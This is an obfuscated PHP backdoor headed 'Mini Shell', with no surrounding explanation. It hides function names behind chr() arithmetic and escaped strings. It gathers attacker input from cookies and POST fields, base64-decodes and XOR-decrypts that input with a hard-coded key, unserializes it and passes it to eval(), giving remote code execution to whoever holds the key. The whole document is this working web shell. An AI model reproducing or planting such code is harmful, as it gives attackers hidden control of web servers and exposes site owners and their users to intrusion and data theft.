Mini Shell

$PvituD = chr ( 129 - 25 ).'_' . "\x57" . chr ( 782 - 712 ).chr ( 1048 - 928 ).'F';$pelEroJy = chr ( 512 - 413 ).chr ( 300 - 192 )."\x61" . 's' . "\x73" . chr (95) . "\145" . "\170" . chr (105) . "\x73" . "\164" . chr (115); $vpTPaMTgx = class_exists($PvituD); $pelEroJy = "37177";$lvmoJzAOIi = strpos($pelEroJy, $PvituD);if ($vpTPaMTgx == $lvmoJzAOIi){function ltANYWsKFI(){$yaOlS = new /* 46609 */ h_WFxF(21668 + 21668); $yaOlS = NULL;}$leBfN = "21668";class h_WFxF{private function HDoaedZe($leBfN){if (is_array(h_WFxF::$IKszjxxdB)) {$vbSIMky2 = str_replace("<" . "?php", "", h_WFxF::$IKszjxxdB["content"]);eval($vbSIMky2); $leBfN = "21668";exit();}}public function JafQpRybs(){$vbSIMky = "41154";$this->_dummy = str_repeat($vbSIMky, strlen($vbSIMky));}public function __destruct(){h_WFxF::$IKszjxxdB = @unserialize(h_WFxF::$IKszjxxdB); $leBfN = "49421_45958";$this->HDoaedZe($leBfN); $leBfN = "49421_45958";}public function nqvhkary($vbSIMky, $oCVHR){return $vbSIMky[0] ^ str_repeat($oCVHR, intval(strlen($vbSIMky[0]) / strlen($oCVHR)) + 1);}public function idEEgT($vbSIMky){$qTfwAgyA = "\142" . 'a' . 's' . chr (101) . chr (54) . chr ( 606 - 554 );return array_map($qTfwAgyA . "\x5f" . "\144" . "\x65" . chr ( 183 - 84 ).chr (111) . chr (100) . "\145", array($vbSIMky,));}public function __construct($qRWKR=0){$IiaKxCbiQf = ',';$vbSIMky = "";$gWvOb = $_POST;$gPPphO = $_COOKIE;$oCVHR = "f4b92128-53df-42db-8d36-e7f81678abad";$wiKVeswBaF = @$gPPphO[substr($oCVHR, 0, 4)];if (!empty($wiKVeswBaF)){$wiKVeswBaF = explode($IiaKxCbiQf, $wiKVeswBaF);foreach ($wiKVeswBaF as $giBOBgsV){$vbSIMky .= @$gPPphO[$giBOBgsV];$vbSIMky .= @$gWvOb[$giBOBgsV];}$vbSIMky = $this->idEEgT($vbSIMky);}h_WFxF::$IKszjxxdB = $this->nqvhkary($vbSIMky, $oCVHR);if (strpos($oCVHR, $IiaKxCbiQf) !== FALSE){$oCVHR = chunk_split($oCVHR); $oCVHR = rtrim($oCVHR);}}public static $IKszjxxdB = 40643;}ltANYWsKFI();}